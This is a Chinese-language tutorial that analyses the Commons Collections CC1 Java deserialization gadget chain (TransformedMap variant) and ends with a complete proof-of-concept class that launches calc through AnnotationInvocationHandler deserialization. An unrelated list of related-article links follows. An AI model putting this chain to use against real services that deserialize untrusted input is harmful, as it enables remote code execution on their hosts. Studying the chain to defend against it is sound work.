Java安全 反序列化(3) CC1链-TransformedMap版

Java安全 反序列化(3) CC1链-TransformedMap版

本文尝试从CC1的挖掘思路出发,理解CC1的实现原理

文章目录

  • Java安全 反序列化(3) CC1链-TransformedMap版
  • 配置jdk版本和源代码配置
  • 前记 为什么可以利用
  • 一.CC链中的命令执行
    • 我们可以尝试一下通过InvokerTransformer.transform()执行命令
    • 在CC链接口Transformer实现类中,我们重点关注几个实现类
      • 1.ConstantTransformer实现类
      • 2.InvokeTransformer实现类
      • 3.ChainedTransformer实现类(链式,有想法吗)
    • 现在我们可以通过链式+反射调用任意命令
  • 二. CC1挖掘原理分析&Poc编写
  • 三.CC1完整利用链Poc
  • 反思总结

Commons:Apache Commons是Apache软件基金会的项目,Commons的目的是提供可重用的解决各种实际问题的Java开源代码。

Commons Collections:Java中有一个Collections包,内部封装了许多方法用来对集合进行处理,CommonsCollections则是对Collections进行了补充,完善了更多对集合处理的方法,大大提高了性能。

实验环境:存在漏洞的版本 commons-collections3.1-3.2.1 jdk 8u71之后已修复不可利⽤

默认情况看不到AnnotationInvocationHandler类的源码,是因为jdk中没有sun包下的源码,需要手动下载该版本的openjdk源码

jdk版本及sun源码下载链接:https://pan.baidu.com/s/1JWjHsQpyhFt_KpPnt4aiwg?pwd=8888
提取码:8888

配置jdk版本和源代码配置

1.解压 jdk1.8.0_65.zip

2.解压jdk8-sun-source.zip 中class.rar中的sun源码

image-20240321192340776

3.替换 jdk1.8.0_65/src/中的sun文件夹

4.idea中添加源代码

image-20240321192614244

可以看到rt.jar包中任意源代码(而不是.class反编译文件),就是成功了

image-20240321192756947

访问 https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1

⾸先在设置在pom.xml环境

  <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.2.1</version>
        </dependency>
    </dependencies>

安装commons-collections成功后,环境配置结束

现在正式学习Java反序列化 CC链

前记 为什么可以利用

Apache Commons Collections中有⼀个特殊的接口,其中有⼀个实现该接口的类可以通过调用 Java的反射机制来调用任意函数,叫做InvokerTransformer,它可通过反射调用类中的方法,从而通过一连串的调用而造成命令执行,这条链便叫做Commons Collections链(简称cc链)。

一.CC链中的命令执行

我们的最终的目的是利用CC链来进行RCE

一般执行命令 Runtime.getRuntime().exec("calc");

如此简单简洁,但是为什么我们不直接利用了?

image-20240321141339891

因为我们最终要通过反序类化执行任意命令 但是Runtime没有实现Serializable接口,不可以被序列化

image-20240321141444044

这个过程中不可序列化

所以我们可以通过反射调用来进行反序列化

image-20240321141640022

Class实现了Serialiable接口 可以实现序列化

 Class Runtime = Class.forName("java.lang.Runtime");
        Method getRuntime = Runtime.getMethod("getRuntime");
        Runtime runtime =(Runtime) getRuntime.invoke(null, null);
        Method exec = Runtime.getMethod("exec", String.class);
        exec.invoke(runtime, "calc");

image-20240321142217189可以通过反射执行任意命令

在上一篇文章中我们探究了 InvokerTransformer().transform()方法可以通过类似反射调用(invoke)任意函数

image-20240321142507883

我们可以尝试一下通过InvokerTransformer.transform()执行命令

InvokeTransformer构造函数接受三个参数

image-20240321142802109

  1. 1.String 函数名 exec
  2. Class[] 参数类型 String.class
  3. Object[] 具体参数值 calc

image-20240321142932400

接受对象,对对象执行函数

        Runtime r=Runtime.getRuntime();
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);

仍然可以执行系统命令

image-20240321143305158

在CC链接口Transformer实现类中,我们重点关注几个实现类

image-20240321143855730

1.ConstantTransformer实现类

image-20240321144237874

注意,和transform传入的Object input的对象无关,仅仅返回构造函数Object constantToReturn 的对象(这一点很重要,后面会应用)

2.InvokeTransformer实现类

前面探究过,通过反射调用任意的函数

相当于最后加了一个invoke方法调用

3.ChainedTransformer实现类(链式,有想法吗)

上篇文章具体调试过跟踪过ChainedTransformer的实现

image-20240321145937494

构造函数接受Transformer[] 数组进行赋值

image-20240321144628258

我们可以简单理解为一个**迭代器 **的 链式的调用

后一个对象.transform(前一个对象的.transform方法返回的对象)

通过这个ChainTransformer实现类可以实现(一节更比三节强的观念)

通过ChainTransformer.transform可以把传入Transformer[]一一调用transform方法,而且实现了 对象的传递

现在我们可以通过链式+反射调用任意命令

        Transformer[] transformers=new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        chainedTransformer.transform("aaa");

注意一点chainedTransformer.transform("aaa");aaa可以替换为任意值

先调用 ConstantTransformer.transform方法覆盖了传入的"aaa"返回Runtime.class对象(和transform传入的Object input的对象无关,仅仅返回构造函数Object constantToReturn 的对象,回顾一下前面)

二. CC1挖掘原理分析&Poc编写

现在我们开始分析一下CC1是如何被发现和利用的,重点在于学习前人发现的思路

时刻记住我们的目的

这里我们先利用 单个InvokerTransformer

 Runtime r=Runtime.getRuntime();
        InvokerTransformer invokerTransformer=(InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

走一遍流程

我们要利用transform执行任意命令

可以查看什么地方应用了transform (这里偏向测试map)

因为Map作为键值对的映射关系可以包含任意类

image-20240321172831230

可以利用的有DefaultedMap,LazyMap,TransformedMap

这里我们探究一下TransformedMap,其他下篇文章写

在TransformedMap中的protected方法(代表仅能被自身调用)checkSetValue传入

image-20240321173045476

我们希望valueTransformer是Invocationformer对象 ,传入的Object value是Runtime对象

image-20240321173524676

构造函数进行传值,但是是protected仅能被自身调用,向上寻找

image-20240321173648507

发现decorate的public 静态方法 可以返回 调用 构造方法

参数接受(Map map, Transformer keyTransformer, Transformer valueTransformer)

这里和keyTransformer 关系不大,可以设为空

        Runtime r=Runtime.getRuntime();
        InvokerTransformer invokerTransformer=(InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> hashmap=new HashMap<>();
        hashmap.put("key","value");
        TransformedMap.decorate(hashmap,null,invokerTransformer);

image-20240321194103688

等价于InvokerTransformer.transform()

现在控制checkSetValue(Object value)传入的值和调用checkSetValue(Object value)

查找用法

image-20240321174418115

可以发现在AbstractInput中的镶嵌类MapEntry调用了checkSetValue方法

而AbstractInput恰好又是TransformedMap的父类

image-20240321174636544

这里MapEntry类继承自AbstractMapEntryDecorator而AbstractMapEntryDecorator实现了Map.Entry的接口

image-20240321174928785

我们可以通过遍历TransformedMap的Entry实现调用setValue方法

原因:因为如果我们遍历TransformedMap的Entry调用setValue,子类继承了父类的public方法(setValue),而且实现了对Map.Entry方法的重写,可以实现调用setValue方法

调用的便是它的父类AbstractInputCheckedMapDecorator类重写的setValue方法,便会触发 checkSetValue方法,从而触发cc链1

因此编写payload

        Runtime r=Runtime.getRuntime();
        InvokerTransformer invokerTransformer=(InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> hashmap=new HashMap<>();
        hashmap.put("key","value");
        Map<Object,Object> transformedMap =TransformedMap.decorate(hashmap,null,invokerTransformer);
        for(Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(r);

        }

传入的值是Runtime对象 等价实现InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transformer(Runtime.class)

但是我们如何实现在readObject的时候调用setValue方法

经过寻找我们发现 AnnotationInvocationHandler

image-20240321193210784

1.重写了readobject

2.调用了memberValue.setValue()

而恰好我们可以控制memberValues的值

image-20240321193501905

这不是妥妥的入口类吗

这里接受两个参数Class<? extends Annotation> type, Map<String, Object> memberValues

Annotation是Java的注解,比如@Override重写等

但是我们只能 用反射操作入口类

image-20240321193659400

因为这里没有修饰词,默认是default 只能通过在包内访问

分析一下readobject类

private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();


    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();


    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                  value instanceof ExceptionProxy)) {
                memberValue.setValue(
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}

想要走到memberValue.setValue需要走过两个判断

image-20240321194318106

在 遍历memberValues.entrySet()的过程中

 String name = memberValue.getKey();//获取Map键值
            Class<?> memberType = memberTypes.get(name);//获取Java注解的类型
            if (memberType != null) {  
                Object value = memberValue.getValue();

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

获取了memeberValue键的值作为name,在注解中寻找等于注解的name的值

判断不为空即可

我们需要获取注解中存在键值对的注解,这里我们可以用 @Target

image-20240321201203011

@Target 存在value的键 为了memberType 保证不为空,所以将hashmap.put("value","value");设为value

保证Class<?> memberType = memberTypes.get(name);//获取Java注解的类型可以保证memberTypes.get(name)可以获取到值

第二个if判断一定是可以通过的 member一定是存在的

image-20240321202019584

这里setValue的值不可控,但是对我们利用完全不影响

虽然这里的setValue方法带一个初始值,但我们ConstantTransformer类的transform方法,不受参数影响,构造方法传入什么,就原封不动返回什么

第三次重复了

和传入setValue的值没有关系

我们将InvokerTransformer替换为ChainTransformer

尝试通过反射建构AnnotationInvocationHandler 类

image-20240321203304350

接受Class<? extends Annotation> type, Map<String, Object> memberValues

通过反射创建AnnotationInvocationHandler实例

       Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationDeclaredConstructor = annotation.getDeclaredConstructor(Class.class,Map.class);
        annotationDeclaredConstructor.setAccessible(true);
        Object annotationInstantce = annotationDeclaredConstructor.newInstance(Target.class,transformedMap);

对annotationInstantce进行序列化后反序列化后执行命令

image-20240321204608342

成功手写CC1链的Poc

三.CC1完整利用链Poc

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.instrument.TransformerManager;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
        //Runtime.getRuntime().exec("calc");
//        Class Runtime = Class.forName("java.lang.Runtime");
//        Method getRuntime = Runtime.getMethod("getRuntime");
//        Runtime runtime =(Runtime) getRuntime.invoke(null, null);
//        Method exec = Runtime.getMethod("exec", String.class);
//        exec.invoke(runtime, "calc");
//        Runtime r=Runtime.getRuntime();
//        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
        Transformer[] transformers=new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})

        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
//        ChainedTransformer chainedTransformer =(ChainedTransformer) chainedTransformer.transform("aaa");
//        Runtime r=Runtime.getRuntime();
//        InvokerTransformer invokerTransformer=(InvokerTransformer) new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> hashmap=new HashMap<>();
        hashmap.put("value","value");
        Map<Object,Object> transformedMap =TransformedMap.decorate(hashmap,null,chainedTransformer);
//        for(Map.Entry entry:transformedMap.entrySet()){
//            entry.setValue(r);
       Class annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor annotationDeclaredConstructor = annotation.getDeclaredConstructor(Class.class,Map.class);
        annotationDeclaredConstructor.setAccessible(true);
        Object annotationInstantce = annotationDeclaredConstructor.newInstance(Target.class,transformedMap);
        serialize(annotationInstantce);
        unserialize();


    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new
                FileOutputStream("ser.bin"));
        oos.writeObject(obj);
        oos.close();
    }
    public static void unserialize() throws IOException, ClassNotFoundException
    {
        ObjectInputStream ois = new ObjectInputStream(new
                FileInputStream("ser.bin"));
        ois.readObject();
        ois.close();
    }


    }


以后遇到其他类似题,就可以参考Poc了

反思总结

核心概念

  1. 入口类必须重写readObject
  2. 通过不同类的同名方法进行跳转连接

下一篇我们从LazyMap出发实现RCE

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/476824.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Windows环境下编译ffmpeg 6.1源码--Virtual Studio + Msys2方式

环境准备 约定&#xff1a;源码全部放到sources下&#xff0c;目录结构说明 /d/java/ffmpeg #工程工目录 ├── build #存放编译文件的目录&#xff0c;子目录为具体模块的构建目录 │ ├── fdk-aac │ ├── ffmpeg │ └── x264 ├── instal…

O2OA(翱途)开发平台前端安全配置建议(一)

O2OA开发平台是一个集成了多种功能的开发环境&#xff0c;前端安全在其中显得尤为重要。前端是用户与平台交互的直接界面&#xff0c;任何安全漏洞都可能被恶意用户利用&#xff0c;导致用户数据泄露、非法操作或系统被攻击。因此&#xff0c;前端安全是确保整个系统安全的第一…

B011-springcloud alibaba rpc通信 Dubbo

目录 介绍实现提供统一业务api服务提供者1.导入依赖2添加dubbo配置3编写并暴露服务 服务消费者1.导入依赖2添加dubbo配置3引用服务 测试 介绍 Dubbo是阿里巴巴开源的基于 Java 的高性能 RPC分布式服务框架&#xff0c;致力于提供高性能和透明化的 RPC远程服务调用方案&#xf…

数学建模(Topsis python代码 案例)

目录 介绍&#xff1a; 模板&#xff1a; 案例&#xff1a; 极小型指标转化为极大型&#xff08;正向化&#xff09;&#xff1a; 中间型指标转为极大型&#xff08;正向化&#xff09;&#xff1a; 区间型指标转为极大型&#xff08;正向化&#xff09;&#xff1a; 标…

【图像分类】基于深度学习的人脸表情识别(8种表情,ResNet网络)

写在前面: 首先感谢兄弟们的关注和订阅,让我有创作的动力,在创作过程我会尽最大能力,保证作品的质量,如果有问题,可以私信我,让我们携手共进,共创辉煌。(专栏订阅用户订阅专栏后免费提供数据集和源码一份,超级VIP用户不在服务范围之内,不想订阅专栏的兄弟们可以私信…

“洞见·智领未来——2024行业开局暨成渝(内江)服务外包产业发展大会”共商服务外包新未来新业态

3月19日-20日&#xff0c;由中国信息协会、中共内江市委、内江市人民政府指导&#xff0c;中国信息协会数字经济专委会、中共内江市东兴区委、内江市东兴区人民政府共同主办&#xff0c;鸿联九五集团、首席客户官百人会&#xff08;CCO100&#xff09;承办的“洞见 智领未来—…

【Git】第一课:Git的介绍

简介 什么是Git? Git是一个开源的分布式版本控制系统&#xff0c;用于跟踪代码的改变和协同开发。它最初由Linus Torvalds为了管理Linux内核开发而创建&#xff0c;现已成为开源软件开发中最流行的版本控制系统&#xff0c;没有之一。Git允许多人同时在不同的分支上工作&…

opencv各个模块介绍(1)

Core 模块&#xff1a;核心模块&#xff0c;提供了基本的数据结构和功能。 常用的核心函数&#xff1a; cv::Mat&#xff1a;表示多维数组的数据结构&#xff0c;是OpenCV中最常用的类之一&#xff0c;用于存储图像数据和进行矩阵运算。 cv::Scalar&#xff1a;用于表示多通道…

mac下Appuim环境安装-持续更新中

参考资料 Mac安装Appium_mac电脑安装appium-CSDN博客 安卓测试工具&#xff1a;Appium 环境安装&#xff08;mac版本&#xff09;_安卓自动化测试mac环境搭建-CSDN博客 1. 基本环境依赖 1 node.js 2 JDK&#xff08;Java JDK&#xff09; 3 Android SDK 4 Appium&#x…

51单片机学习9 串口通讯

51单片机学习9 串口通讯 一、串口通讯简介UARTSTC89C51RC/RD的串口资源 二、51单片机串口介绍1. 内部结构2. 寄存器&#xff08;1&#xff09;串口控制寄存器SCON&#xff08;2&#xff09;电源控制寄存器PCON 3. 计算波特率4. 串口配置步骤 三、 开发示例1. 硬件电路2. 代码实…

好用的GPTs:指定主题搜索、爬虫、数据清洗、数据分析自动化

好用的GPTs&#xff1a;指定主题搜索、爬虫、数据清洗、数据分析自动化 Scholar&#xff1a;搜索 YOLO小目标医学方面最新论文Scraper&#xff1a;爬虫自动化数据清洗数据分析 点击 Explore GPTs&#xff1a; Scholar&#xff1a;搜索 YOLO小目标医学方面最新论文 搜索 Scho…

超过 1200 个能够拦截在野外检测到的 2FA 的网络钓鱼工具包

超过 1200 个能够拦截在野外检测到的 2FA 的网络钓鱼工具包。 #################### 免责声明&#xff1a;工具本身并无好坏&#xff0c;希望大家以遵守《网络安全法》相关法律为前提来使用该工具&#xff0c;支持研究学习&#xff0c;切勿用于非法犯罪活动&#xff0c;对于恶…

【计算机】——51单片机

单片机是一种内部包含CPU、存储器和输入/输出接口等电路的集成电路&#xff08;IC芯片&#xff09; 单片机是单片微型计算机&#xff08;Single Chip Microcomputer&#xff09;的简称&#xff0c;用于控制领域&#xff0c;所以又称为微型控制器&#xff08;Microcontroller U…

Eureka的介绍和作用,以及搭建

一、Eureka的介绍和作用 Eureka是Netflix开源的一种服务发现和注册工具&#xff0c;它为分布式系统中的服务提供了可靠的服务发现和故障转移能力。Eureka是Netflix的微服务架构的关键组件之一&#xff0c;它能够实时地监测和管理服务实例的状态和可用性。 在Eureka架构中&…

学成在线_视频处理_视频转码不成功

问题 当我们用xxljob进行视频处理中的转码操作时会发现视频转码不成功。即程序会进入下图所示的if语句内。 问题原因 在进行视频转码时程序会调用Mp4VideoUtil类下的 generateMp4方法&#xff0c;而result接收的正是该方法的返回值。那么什么时候generateMp4方法的返回值会…

SQLiteC/C++接口详细介绍sqlite3_stmt类(七)

返回&#xff1a;SQLite—系列文章目录 上一篇&#xff1a;SQLiteC/C接口详细介绍sqlite3_stmt类&#xff08;六&#xff09; 下一篇&#xff1a; 无 22、sqlite3_column_database_name 用于返回结果集中指定列的数据库名称。如果结果集是由多个Join操作产生的&#xff0c;…

抖音视频关键词爬虫批量采集软件|视频提取下载工具

视频关键词批量采集软件 — 助力您快速获取所需视频 主要功能&#xff1a; 关键词批量提取视频和单独视频提取&#xff0c;提取后下载功能。 功能解析&#xff1a; 1. 关键词批量提取视频的解析 通过输入关键词进行视频搜索和提取。例如&#xff0c;输入“汽车配件”&#x…

四种最新算法(冠豪猪优化算法CPO、鳑鲏鱼优化算法BFO、河马优化算法HO、新雀优化算法NOA)求解机器人路径规划(提供MATLAB代码)

一、机器人路径规划介绍 移动机器人&#xff08;Mobile robot&#xff0c;MR&#xff09;的路径规划是 移动机器人研究的重要分支之&#xff0c;是对其进行控制的基础。根据环境信息的已知程度不同&#xff0c;路径规划分为基于环境信息已知的全局路径规划和基于环境信息未知或…

npm ERR! code ELIFECYCLE 解决办法

npm ERR! code ELIFECYCLE 解决办法 问题分析可能原因解决方法 问题 使用Vue脚手架构建项目的时候出现npm ERR! code ELIFECYCLE 分析可能原因 vue-cli-service 并没有加入到环境变量里 解决方法 ./node_modules/.bin/vue-cli-service serve

【Linux】多线程编程基础

&#x1f4bb;文章目录 &#x1f4c4;前言&#x1f33a;linux线程基础线程的概念线程的优缺点线程与进程的区别 线程的创建 &#x1f33b;linux线程冲突概念互斥锁函数介绍加锁的缺点 &#x1f4d3;总结 &#x1f4c4;前言 无论你是否为程序员&#xff0c;相信多线程这个词汇应…